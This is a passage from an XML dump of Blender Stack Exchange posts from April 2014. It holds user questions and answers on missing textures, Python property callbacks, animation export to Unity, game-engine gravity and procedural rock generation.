  <row Id="8717" PostTypeId="1" AcceptedAnswerId="8769" CreationDate="2014-04-19T03:22:35.143" Score="1" ViewCount="1428" Body="&lt;p&gt;I have a PropertyGroup Class called PPP, like the Collection Example on this page: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_63_release/bpy.props.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_63_release/bpy.props.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that one of the properties in the PPP class, pfloat calls an update function &quot;update_func&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to be able to tell which ppp has been changed when the update_func is called, normally you would use self to determine it but that does not seem to work it just returns: &lt;code&gt;PPP(&quot;&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas / what am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3141" LastEditorUserId="1363" LastEditDate="2014-10-16T11:27:55.663" LastActivityDate="2014-10-23T20:22:41.117" Title="Property Update function for properties inside a collection" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ClosedDate="2014-10-23T22:12:15.573" ContentLicense="CC BY-SA 3.0" />
  <row Id="8718" PostTypeId="1" AcceptedAnswerId="8719" CreationDate="2014-04-19T07:25:42.157" Score="2" ViewCount="35197" Body="&lt;p&gt;Basically, I applied my textures by taking each individual object, unwrapping it in the uv editor, then opening up an image in the uv editor and it would apply the texture in the 3D editor. However, when I render my project none of the textures appear and everything looks odd. I don't know how to set up the images properly with the bee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here's the uv layout image for the bee's Cube.001: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/rbHADrI.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get that applied properly to the Cube.001 in my project?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;https://www.mediafire.com/?zgfxd57504aa50u&quot; rel=&quot;nofollow noreferrer&quot;&gt;the file for reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything appears purple if the images aren't there and I don't know how to fix that either.&lt;/p&gt;&#xA;" OwnerUserId="3191" LastEditorUserId="12" LastEditDate="2014-04-19T08:53:20.380" LastActivityDate="2015-12-22T17:42:44.790" Title="Why are my textures pink?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-19T08:53:36.470" ContentLicense="CC BY-SA 3.0" />
  <row Id="8719" PostTypeId="2" ParentId="8718" CreationDate="2014-04-19T07:55:37.230" Score="4" Body="&lt;p&gt;Pink means the image for the texture is missing. Make sure the image &lt;code&gt;queenBee1.png&lt;/code&gt; is where blender thinks it is (which is in a directory called &lt;code&gt;queenbee&lt;/code&gt; next to the .blend).&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately the textures are not included in the .blend by default (you must pack them), so if there are problems beyond this I can't tell what they are.&lt;/p&gt;&#xA;&lt;p&gt;To pack all external textures, press &lt;em&gt;Pack into .blend&lt;/em&gt; in &lt;em&gt;Info &amp;gt; Header &amp;gt; File &amp;gt; External data&lt;/em&gt;.&lt;br /&gt;&#xA;I noticed that you changed the info panel (at the top of the window be default) into an image editor. You can change it back by clicking on the icon on the left and selecting &lt;em&gt;Info&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X9tru.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is also a operator in the &lt;em&gt;External data&lt;/em&gt; submenu called &lt;em&gt;Report missing files&lt;/em&gt; which will help you find what files are missing (if any).&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;If you have the image location right but it's still saying &lt;code&gt;can't load image&lt;/code&gt; in &lt;em&gt;Textures &amp;gt; Image&lt;/em&gt; and not appearing, some other common issues are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If the location was set incorrectly but has since been corrected, try reloading it by pressing the arrows icon:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/akfyN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the texture is enabled:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LqaMh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the texture is allowed to influence the color of the material in &lt;em&gt;Textures &amp;gt; Influence&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/114Em.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The reason everything looks odd is because the body mesh is duplicated, resulting in overlapping faces and &lt;a href=&quot;https://blender.stackexchange.com/q/5441/599&quot;&gt;z-fighting&lt;/a&gt;. If you select what appears to be the main body and press &lt;kbd&gt;G&lt;/kbd&gt; to move it you'll see that there are actually two:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nXFFi.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To fix it, just delete one of them. Note that one of the duplicates does not have UV selected for the mapping coordinates, so if you delete the other one make sure to set the coordinates to &lt;em&gt;UV&lt;/em&gt; in &lt;em&gt;Textures &amp;gt; Mapping&lt;/em&gt;:&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-12-22T17:42:44.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8720" PostTypeId="2" ParentId="734" CreationDate="2014-04-19T08:28:53.897" Score="46" Body="&lt;p&gt;As of &lt;a href=&quot;https://developer.blender.org/D11#comment-26&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt; (&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Modeling&quot; rel=&quot;nofollow noreferrer&quot;&gt;will be in blender 2.71&lt;/a&gt;), blender has support for split normals.&lt;/p&gt;&#xA;&lt;p&gt;This is basically like the old &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/structure.html?#properties&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Autosmooth&lt;/em&gt;&lt;/a&gt;, but it works in Cycles and the viewport in addition to BI.&lt;/p&gt;&#xA;&lt;p&gt;If you don't know what Autosmooth is, it behaves like the edge split modifier, but without actually splitting edges:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hZySr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is no edge split modifier used in the above screenshot.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-01T22:47:25.797" LastActivityDate="2020-10-01T22:47:25.797" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="8721" PostTypeId="2" ParentId="8717" CreationDate="2014-04-19T14:02:41.650" Score="1" Body="&lt;p&gt;&lt;strike&gt;&#xA;I can't tell whether it's a known limitation or bug, but it definately returns the reference to the CollectionProperty only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need a concept of one element in the collection being &quot;active&quot;, e.g. have an &lt;code&gt;IntProperty&lt;/code&gt; alongside and use it for a &lt;code&gt;template_list()&lt;/code&gt; for instance. Then use that number to get the right item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self[context.scene.ppp_index].pfloat = 1.23&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's actually a reference to the CollectionProperty &lt;strong&gt;item&lt;/strong&gt; returned,&lt;br&gt;&#xA;see &lt;a href=&quot;https://developer.blender.org/T39798&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T39798&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-10-23T20:22:41.117" LastActivityDate="2014-10-23T20:22:41.117" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8722" PostTypeId="1" AcceptedAnswerId="8728" CreationDate="2014-04-19T16:14:51.210" Score="3" ViewCount="12228" Body="&lt;p&gt;I have created two Cubes and one bone which controls both objects (cubes). First cube is Red, second one is Blue. In first part of animation Red cube is rotating using bone and Blue cube is Hidden from outliner, in second part of animation Red cube is hidden and Blue cube rotates using same bone. Now when I save this as .blend or .fbx and import it to Unity game engine, and start animating both Cubes are Shown full animation and only rotation is animating. Why doesn't animate Hide on/off option from Blender outliner ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx &#xA;Ivan &lt;/p&gt;&#xA;" OwnerUserId="3180" LastActivityDate="2014-04-19T20:13:43.830" Title="Blender animations and Unity" Tags="&lt;unity&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8724" PostTypeId="1" CreationDate="2014-04-19T16:58:03.313" Score="5" ViewCount="3481" Body="&lt;p&gt;I am trying to texture a flag pole model I made recently and after UV unwrapping it I tried to arrange the islands so they would be understandable.&#xA;However I couldn't find the island select mode, it just isn't there and I can't figure out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me why this is and how I can fix it?&lt;/p&gt;&#xA;" OwnerUserId="3193" LastEditorUserId="599" LastEditDate="2014-04-19T19:35:22.347" LastActivityDate="2014-04-19T19:35:22.347" Title="Missing the UV island select mode?" Tags="&lt;interface&gt;&lt;uv&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8725" PostTypeId="2" ParentId="8724" CreationDate="2014-04-19T18:32:54.337" Score="5" Body="&lt;p&gt;It is there in 2.70a for me.&#xA;In your question there is very little to go on;&#xA;However my guess would be that you have &amp;quot;Keep UV and Edit Mode mesh selection in Sync&amp;quot; active, this changes the selection modes that are available.&lt;/p&gt;&#xA;&lt;p&gt;Sync selection off:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4L5x6.png&quot; alt=&quot;Sync selection off&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sync selection on:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hc5hG.png&quot; alt=&quot;Sync selection on&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-19T18:32:54.337" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8726" PostTypeId="2" ParentId="8722" CreationDate="2014-04-19T19:07:29.853" Score="2" Body="&lt;p&gt;For this basic animation and to show/hide cubes, you need to export the bone and cubes (both parented with armature ) to unity and do the animation in their.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only your bone based animation and shapekeys are exportable to unity3d. Not other animations like moving one box location , rotaion or show/hide.&lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2014-04-19T19:07:29.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8728" PostTypeId="2" ParentId="8722" CreationDate="2014-04-19T20:13:43.830" Score="5" Body="&lt;p&gt;Don't bother to do your animation work in Blender. Unity's animation tools are quite robust, and animating in Unity will make it easier to make different animations and behaviors for one model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender behaviors like showing and hiding can't be translated accurately into Unity behaviors. So even if you had it working in Blender, you would have more work to do once you import it into Unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just export what you have in Blender WITHOUT any animations and put it in Unity. Drop the model into your Unity scene, then open up the Animator. Click the dropdown under the record button and select [Create New Clip].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dpGXM.png&quot; alt=&quot;Create a new animation clip&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show and hide your cube, go to the appropriate frame of the animation, then enable/disable its Mesh Renderer. This will automatically add a keyframe to the animation clip. Do the rest of your animation as you would normally, adding rotation keyframes and such.&lt;/p&gt;&#xA;" OwnerUserId="3181" LastActivityDate="2014-04-19T20:13:43.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8731" PostTypeId="1" AcceptedAnswerId="8734" CreationDate="2014-04-19T21:11:59.723" Score="0" ViewCount="131" Body="&lt;p&gt;I was wondering how you change the way the axis to become spherical?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/e7dGd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3024" LastActivityDate="2014-04-19T22:14:12.547" Title="How to change to spherical Axis" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8732" PostTypeId="2" ParentId="8702" CreationDate="2014-04-19T21:46:48.647" Score="9" Body="&lt;p&gt;This is a side effect of the way you import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;from bpy import data as bpy_data&lt;/code&gt; imports the bpy_struct &lt;code&gt;data&lt;/code&gt; when the py file is loaded, like a local copy (not alias). This happens during the addon registration, thus &lt;code&gt;bpy_data&lt;/code&gt; will be and remain as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;class 'bpy_restrict_state._RestrictData'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In contrast, &lt;code&gt;import bpy&lt;/code&gt; and a later use of &lt;code&gt;bpy.data&lt;/code&gt; accesses &lt;code&gt;data&lt;/code&gt; in the moment you actually use it. It is &lt;code&gt;_RestrictData&lt;/code&gt; at registration time, but later on it will be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;class 'bpy.types.BlendData'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should change your imports from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy import ( data as bpy_data,&#xA;                  context as bpy_context )&#xA;from bpy.app.handlers import ( persistent as bpy_app_handlers_persistent,&#xA;                               save_post as bpy_app_handlers_save_post )&#xA;# ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;# ...&#xA;&#xA;@persistent    &#xA;def foobar(scene):&#xA;    bpy.data.filepath&#xA;    #bpy.context...&#xA;&#xA;# ...&#xA;&#xA;bpy.app.handlers.save_post.append(foobar)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;from ... import ... as ...&lt;/code&gt; should only be used if the imported module or function would overwrite another.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-19T21:46:48.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8733" PostTypeId="1" AcceptedAnswerId="8760" CreationDate="2014-04-19T22:01:34.340" Score="3" ViewCount="26525" Body="&lt;p&gt;I have just tried to do the &quot;separate by loose parts&quot; option and I think there might be too many objects to separate so blender just crashes. Is there anyway I can do this without it crashing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Ckge.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the blocks here  ^ ^ ^ ^&lt;/p&gt;&#xA;" OwnerUserId="2809" LastEditorUserId="2809" LastEditDate="2014-04-19T22:28:31.657" LastActivityDate="2019-10-06T06:01:32.080" Title="Seperate by loose parts" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8734" PostTypeId="2" ParentId="8731" CreationDate="2014-04-19T22:14:12.547" Score="3" Body="&lt;p&gt;You have changed the manipulator widget to rotate mode, to return to the default (translate) mode, select the pointer icon as selected below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mcUul.png&quot; alt=&quot;Transform Manipulator Widget&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many options for using the widget, detailed documentation can be found about its usage on the Blender Wiki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Manipulators#Manipulators&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Manipulators#Manipulators&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-04-19T22:14:12.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8735" PostTypeId="2" ParentId="8673" CreationDate="2014-04-19T23:38:55.643" Score="2" Body="&lt;p&gt;Another way is to look up the type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if hasattr(bpy.types, &quot;IMPORT_SCENE_OT_obj&quot;): ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can locate the script like this by the way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; sys.modules[bpy.types.IMPORT_SCENE_OT_obj.__module__].__file__&#xA;'C:\\Program Files\\Blender Foundation\\Blender\\2.70\\scripts\\addons\\io_scene_obj\\__init__.py'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-19T23:38:55.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8736" PostTypeId="1" CreationDate="2014-04-20T02:09:19.327" Score="2" ViewCount="2381" Body="&lt;p&gt;I'm trying to render an object using Cycles render. My object is simple but it won't finish rendering this object. I downloaded a couple of shared models, much more complex, and they render fine. I've left my object rendering for 15 minutes and it won't finish. Blender render will work, as does the OpenGL option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a Macbook pro, 2.2ghz i7, 4gb ram. I'm also using Blender 2.7. The attached image is how far it will get. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.guitarsean.info/Blender_render.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;render example http://www.guitarsean.info/Blender_render.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3195" LastEditorUserId="1112" LastEditDate="2014-04-20T02:44:52.653" LastActivityDate="2014-04-20T02:44:52.653" Title="Cycles render stops halfway through render" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-04-21T22:46:26.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="8737" PostTypeId="1" AcceptedAnswerId="27738" CreationDate="2014-04-20T07:55:43.870" Score="6" ViewCount="2550" Body="&lt;p&gt;I created a scene with my camera parented to a player object and a few bouncing balls.&#xA;I want the player to stand still (in space) unless moved by user interaction and interact by the balls when hit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as the game engine starts my player is dragged by gravity I couldn't find a property to control the influence of gravity in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67b_release/bge.types.KX_GameObject.html?highlight=gameobject&quot;&gt;KX_GameObject&lt;/a&gt; as suggested by this &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?135735-Custom-gravity&quot;&gt;outdated BA Thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File or testing: &lt;a href=&quot;http://pasteall.org/blend/28578&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-03-27T06:44:55.773" Title="Can gravity be disabled for a single object in the BGE?" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8738" PostTypeId="1" AcceptedAnswerId="8755" CreationDate="2014-04-20T08:22:31.347" Score="0" ViewCount="96" Body="&lt;p&gt;I created a new action named BladeAction and keyframed the influence slider of a &lt;em&gt;Shape Key&lt;/em&gt; I couldn't use the action in the &lt;em&gt;Logic Nodes / Action Actuator&lt;/em&gt;. Then I examined the action in the &lt;em&gt;NLA&lt;/em&gt; and &lt;em&gt;Action Editor&lt;/em&gt; it looks like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9GTyj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A KeyAction strip has been created by Blender and is not accessible from the &lt;em&gt;Action Editor&lt;/em&gt; the BladeAction has no keyframes and cannot be frozen (snowflake icon). I can use the KeyAction from &lt;em&gt;Action Actuator&lt;/em&gt; but I'm somewhat confused why this behaves like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are no keyframes in the &lt;em&gt;Action&lt;/em&gt; created by me? Why does &lt;em&gt;Blender&lt;/em&gt; create an Action Strip* which cannot be edited?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[.blend] is already linked here: &lt;a href=&quot;https://blender.stackexchange.com/questions/8737/can-gravity-be-disabled-for-a-single-object-in-the-bge&quot;&gt;Can gravity be disabled for a single object in the BGE?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-06-20T11:01:34.743" Title="Which action should take newly created keyframes?" Tags="&lt;animation&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8739" PostTypeId="2" ParentId="8737" CreationDate="2014-04-20T11:43:50.133" Score="1" Body="&lt;p&gt;I don't know about disabling gravity, but you can set the physics type of your player to &quot;Character&quot; and set the &quot;Fall Speed Max&quot; to 0:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/O2GbC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yout object will still be able to collide with other objects in the scene, but will not fall down because of gravity.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-04-20T11:43:50.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8740" PostTypeId="1" CreationDate="2014-04-20T17:13:37.913" Score="2" ViewCount="21011" Body="&lt;p&gt;I just downloaded blender 2.70 windows 64. I want to convert .obj files to .X files to use then in the pmd editor and MMD. I cant find an export to .x file. the tutorial that I am looking at is for an older version of Blender.  &lt;/p&gt;&#xA;" OwnerUserId="3198" LastActivityDate="2019-12-08T00:14:37.577" Title="How do I export an OBJ to an .X file" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8741" PostTypeId="1" CreationDate="2014-04-20T19:02:35.060" Score="2" ViewCount="321" Body="&lt;p&gt;it is possible to use Python to signal when an mp3 file, or other audio file, has finished playing/reached their end? I know how to play them, as per the BGE code below, but don't how do I check if the are finished?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sound = aud.Factory('audio.mp3') #loads mp3 or wav file  &#xA;if not 'play' in ow: #will play sound only once &#xA;     ow['device'] = aud.device() &#xA;     ow['device'].play(sound)&#xA;     ow['play'] = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! &lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2014-04-20T21:32:25.480" Title="Audio track complete" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8742" PostTypeId="2" ParentId="5095" CreationDate="2014-04-20T20:37:28.167" Score="1" Body="&lt;p&gt;To help find the source of the error, starting blender from a console window provides more information on error messages, in this case the output was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SG failed, exception degenerate edge&#xA;Unknown internal error in boolean&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, as mentioned in ebt's answer, the error probably has something to do with vertices or faces sharing the same position in the different objects.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, I modified line 57 of your script (in the function createCylinder) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cylinder.scale = (r,r,height+0.01) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cylinder.scale = (r,r,height)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This allows the ring to be applied as a boolean to the cube, however inspecting the ring shows that it too has several problems with booleans.  It may be possible to resolve it with a similar approach, however I wouldn't recommend it.  In my experience blender's booleans utterly fail when faces or vertices of the objects share the same positions.&#xA;Unless doing this as a python script is essential, it would be easiest to model the ring separately, then subtract that from the platform.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-04-20T20:37:28.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8743" PostTypeId="2" ParentId="8741" CreationDate="2014-04-20T21:32:25.480" Score="2" Body="&lt;p&gt;There's a status property: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/aud.html#aud.Handle.status&quot; rel=&quot;nofollow&quot;&gt;aud.Handle.status&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could check it in regular intervals until the status changes to &lt;code&gt;AUD_STATUS_STOPPED&lt;/code&gt; or &lt;code&gt;AUD_STATUS_INVALID&lt;/code&gt;, see the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/aud.html#aud.AUD_STATUS_INVALID&quot; rel=&quot;nofollow&quot;&gt;API docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-20T21:32:25.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8744" PostTypeId="1" AcceptedAnswerId="8753" CreationDate="2014-04-20T22:36:33.587" Score="3" ViewCount="2338" Body="&lt;p&gt;I made an animation for my gun in my FPS, but I came across a problem while making another animation. If all the keyframes are saved to the object itself, then I can't make another animation because the previous one is in the way. Is there a way to have more than 1 animation on an object?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2014-04-21T07:57:23.843" Title="Blender Multiple Animations" Tags="&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8746" PostTypeId="1" AcceptedAnswerId="8747" CreationDate="2014-04-21T01:57:47.373" Score="12" ViewCount="19883" Body="&lt;p&gt;How can I make unique rocks in Blender without having to model them by hand? I've tried making them by hand, but often they don't look as realistic as I'd like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, sometimes I'd like to have LOTS of them but don't want to spend the time modeling them all. Is there an easy solution?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2020-03-31T19:23:47.603" Title="How can I make unique rocks in Blender without having to model them by hand?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8747" PostTypeId="2" ParentId="8746" CreationDate="2014-04-21T01:57:47.373" Score="26" Body="&lt;h2&gt;Add Rocks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Rock_Generator&quot; rel=&quot;noreferrer&quot;&gt;Add Rocks&lt;/a&gt; addon allows you to quickly add randomly generated mesh rocks, thus making it much quicker to add detail &amp;amp; realism to your outdoor settings. Here you can &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Rock_Generator&quot; rel=&quot;noreferrer&quot;&gt;read about&lt;/a&gt; this addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples of the presets and some variations:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KjpdL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable this addon:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download it from &lt;a href=&quot;https://www.dropbox.com/s/c2d9sgq9n0xyg3z/add_mesh_rocks.zip&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now open User Preferences:&lt;br&gt;&#xA;&lt;em&gt;Info&lt;/em&gt; header  